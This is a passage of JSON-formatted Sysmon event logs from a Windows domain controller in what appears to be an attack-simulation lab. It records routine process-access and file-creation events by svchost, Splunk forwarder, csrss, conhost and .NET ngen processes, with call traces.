12:01:41.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6964,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42A5-5F2D-0000-0010D34A0B00}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42A5-5F2D-0000-0010D34A0B00}","TargetProcessId":"4788","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6965,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6966,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6967,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A5-5F2D-0000-0010D34A0B00}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A5-5F2D-0000-0010D34A0B00}","TargetProcessId":"4788","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6968,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:41.869\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42A5-5F2D-0000-0010D34A0B00}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:41.869","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42A5-5F2D-0000-0010D34A0B00}","TargetProcessId":"4788","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6969,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:42.229\r\nProcessGuid: {90617006-42A3-5F2D-0000-001030420B00}\r\nProcessId: 1516\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\5ec-0\\Microsoft.Build.Tasks.v4.0.dll\r\nCreationUtcTime: 2020-08-07 12:01:42.229","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:42.229","ProcessGuid":"{90617006-42A3-5F2D-0000-001030420B00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\5ec-0\\Microsoft.Build.Tasks.v4.0.dll","CreationUtcTime":"2020-08-07 12:01:42.229","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6970,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:42.354\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-00103A4D0B00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:42.354","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-00103A4D0B00}","TargetProcessId":"4884","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6971,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:42.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-00103A4D0B00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:42.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A6-5F2D-0000-00103A4D0B00}","TargetProcessId":"4884","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6972,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:42.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A6-5F2D-0000-00103A4D0B00}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 